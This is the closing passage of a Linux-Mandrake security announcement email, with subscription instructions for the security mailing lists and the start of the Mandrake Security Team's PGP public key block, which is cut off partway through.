  Linux-Mandrake's security discussion mailing list.  This list is open
  to anyone to discuss Linux-Mandrake security specifically and Linux
  security in general.

To subscribe to either list, send a message to
  [EMAIL PROTECTED]
with "subscribe [listname]" in the body of the message.

To remove yourself from either list, send a message to
  [EMAIL PROTECTED]
with "unsubscribe [listname]" in the body of the message.

To get more information on either list, send a message to
  [EMAIL PROTECTED]
with "info [listname]" in the body of the message.

Optionally, you can use the web interface to subscribe to or unsubscribe
from either list:

  http://www.linux-mandrake.com/en/flists.php3#security


Type Bits/KeyID Date   User ID
pub  1024D/22458A98 2000-07-10 Linux Mandrake Security Team
  <[EMAIL PROTECTED]>


- -BEGIN PGP PUBLIC KEY BLOCK-
Version: GnuPG v1.0.1 (GNU/Linux)
Comment: For info see http://www.gnupg.org

mQGiBDlp594RBAC2tDozI3ZgQsE7XwxurJCJrX0L5vx7SDByR5GHDdWekGhdiday
L4nfUax+SeR9SCoCgTgPW1xB8vtQc8/sinJlMjp9197a2iKM0FOcPlkpa3HcOdt7
WKJqQhlMrHvRcsivzcgqjH44GBBJIT6sygUF8k0lU6YnMHj5MPc/NGWt8wCg9vKo
P0l5QVAFSsHtqcU9W8cc7wMEAJzQsAlnvPXDBfBLEH6u7ptWFdp0GvbSuG2wRaPl
hynHvRiE01ZvwbJZXsPsKm1z7uVoW+NknKLunWKB5axrNXDHxCYJBzY3jTeFjsqx
PFZkIEAQphLTkeXXelAjQ5u9tEshPswEtMvJvUgNiAfbzHfPYmq8D6x5xOw1IySg
2e/LBACxr2UJYCCB2BZ3p508mAB0RpuLGukq+7UWiOizy+kSskIBg2O7sQkVY/Cs
iyGEo4XvXqZFMY39RBdfm2GY+WB/5NFiTOYJRKjfprP6K1YbtsmctsX8dG+foKsD
LLFs7OuVfaydLQYp1iiN6D+LJDSMPM8/LCWzZsgr9EKJ8NXiyrQ6TGludXggTWFu
ZHJha2UgU2VjdXJpdHkgVGVhbSA8c2VjdXJpdHlAbGludXgtbWFuZHJha2UuY29t
PohWBBMRAgAWBQI5aefeBAsKBAMDFQMCAxYCAQIXgAAKCRCaqNDQIkWKmK6LAKCy
/NInDsaMSI+WHwrquwC5PZrcnQCeI+v3gUDsNfQfiKBvQSANu1hdulq5AQ0EOWnn
7xAEAOQlTVY4TiNo5V/iP0J1xnqjqlqZsU7yEBKo/gZz6/+hx75RURe1ebiJ9F77
9FQbpJ9Epz1KLSXvq974rnVb813zuGdmgFyk+ryA/rTR2RQ8h+EoNkwmATzRxBXV
Jb57fFQjxOu4eNjZAtfII/YXb0uyXXrdr5dlJ/3eXrcO4p0XAAMFBACCxo6Z269s
+A4v8C6Ui12aarOQcCDlV8cVG9LkyatU3FNTlnasqwo6EkaP572448weJWwN6SCX
Vl+xOYLiK